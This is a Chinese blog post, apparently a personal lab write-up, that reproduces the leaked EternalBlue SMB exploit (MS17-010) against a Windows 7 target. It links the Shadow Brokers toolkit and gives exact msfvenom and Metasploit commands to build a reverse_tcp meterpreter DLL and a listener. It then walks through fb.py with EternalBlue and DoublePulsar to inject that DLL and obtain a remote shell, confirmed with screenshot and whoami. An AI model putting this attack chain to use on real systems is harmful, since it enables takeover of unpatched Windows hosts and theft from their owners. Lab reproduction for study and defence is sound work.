方程式 Eternalblue 漏洞利用复现

漏洞原理

详细的漏洞原理参照文章:
http://www.91ri.org/16946.html
懒得点连接的大人们可以看这里:

首先SrvOs2FeaListToNt首先调用SrvOs2FeaListSizeToNt计算pNtFea的大小。这里注意了SrvOs2FeaListSizeToNt函数会修改原始的pOs2Fea中的Length大小,本来Length是一个DWORD, 代码还强制转换成了WORD,不能不让人联想一些事。然后以计算出来的Length来分配pNtFea.最后调用SrvOs2FeaToNt来实现转换。SrvOs2FeaToNt后面的判断就有问题了。这里还不止一个问题。
1. 转换完成后,增加pOs2FeaBody然后比较。正确的逻辑难道不应该是先判断再转换吗?
2. 由于SrvOs2FeaListSizeToNt中改变了pOs2Fea的length的值,这里使用变大后的值做比较,肯定会越界。

我也不是很能理解。。。底层代码看的不是很懂,概括一下就是:
1、某个函数在转换参数时先转换然后再判断参数长度,存在逻辑上的漏洞
2:转换参数格式时的不严谨造成了越界,造成了溢出

环境搭建

靶机:
Win7 旗舰版 x64 关闭防火墙 IP:192.168.50.137 开放445端口
攻击机A:
win7 旗舰版 x64 python2.6(32位)、对应的pywin32 IP :192.168.50.131
攻击机B:
kali2.0/任意安装了msf的linux/可以被反弹获取后门权限的设备
这里我用的是kali2.0 IP:192.168.50.130
exp下载链接:
https://github.com/misterch0c/shadowbroker

关于exp


这次的文件有三个目录,分别为“Windows”、“Swift” 和 “OddJob”,包含一堆令人震撼的黑客工具(我们挑几个重要的列举如下):
EXPLODINGCAN 是 IIS 5/6 远程漏洞利用工具
ETERNALROMANCE 是 SMB1 的重量级利用,可以攻击开放了 445 端口的 Windows XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2 并提升至系统权限,漏洞编号为MS17-010,已于 2017 年 3 月修复。
ERRATICGOPHER 、ETERNALBLUE 、ETERNALSYNERGY 、ETERNALCHAMPION 、EDUCATEDSCHOLAR、 EMERALDTHREAD 等都是 SMB 漏洞利用程序,可以攻击开放了 445 端口的 Windows 机器,且基本都已修复于 2017 年 3 月。
ESTEEMAUDIT 是 RDP 服务的远程漏洞利用工具,可以攻击开放了3389 端口且开启了智能卡登陆的 Windows XP 和 Windows 2003 机器。
FUZZBUNCH 是一个类似 MetaSploit 的漏洞利用平台。
ODDJOB 是无法被杀毒软件检测的 Rootkit 利用工具。
ECLIPSEDWING 是 Windows 服务器的远程漏洞利用工具,漏洞编号为MS08-067,修复于2008年。
ESKIMOROLL 是 Kerberos 的漏洞利用攻击,可以攻击开放了 88 端口的 Windows 2000/2003/2008/2008 R2 的域控制器,漏洞编号为MS14-068,修复于2014年。
复现步骤
1. 在攻击机B中生成payload因为这里我是用的是win7 64位的靶机,所以直接在msf中搜索对应的payload并生成,如果在实际的环境中想要找到对应的payload需要通过nmap去探查host的版本号等信息之后再进行payload的搜索。

$msfconsole
msf >search windows/x64/reverse_tcp
msf >show options

2. 生成payload并手动放置在攻击机A的C盘根目录下

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.50.130 LPORT=4444 -f dll > b.dll

这里设置的是反弹地址和反弹端口并将后门文件输出为b.dll,不是设置攻击机IP(划重点)
3. 攻击机B开启监听状态

$ msfconsole
msf > use exploit/multi/handler
msf > set LHOST 192.168.50.130
msf > set LPORT 4444
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > exploit


4.下载好的exp放在攻击机A中并在文件夹中新建文件名为listeningposts,不然会报错,原因在fb.py的代码中会有一个遍历目录,找不到会报错。

5. cmd执行fb.py,
设置默认攻击IP:192.168.50.137
设置回显IP地址:192.168.50.132
使用重定向:no
使用日志路径:no
新建一个攻击项目 name: test
PS:这里不要以纯数字设置项目名称,否则在后面运行的时候会提示no文件夹下的xml文档报错。

6. 使用Eternalblue攻击模块,设置攻击目标系统为Win7,Run Mode为FB。


7. 当看到Eternalblue Succeeded时证明模块成功运行

8. 接下来使用Doublepulsar模块,并设置protocol为SMB,选择靶机为64位,最后选择Function为RunDLL,因为我们需要执行DLL反弹才可以获得shell


9. 成功执行

10. 回到攻击机B中查看反弹的shell,执行screenshot,可以看到靶机的状态截图;执行shell,查看whoami,可以看到命令可以被执行,exp利用成功

总结

小人的博客今天开通啦,以后会不定期更新,主要也是为了个人记录,如果能和大牛交流就更好了,文笔一般且水平有限,如果有错误的地方请指出,谢谢,以后会多些更新一些技术文章,多多交流~如无意外,下一篇应该是方程式组16年关于cisio的漏洞破解复现,最后,最近看到的一句话与大家共勉:
我一直相信,每一个程序员的指尖都有改变世界的魅力【滑稽脸】

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值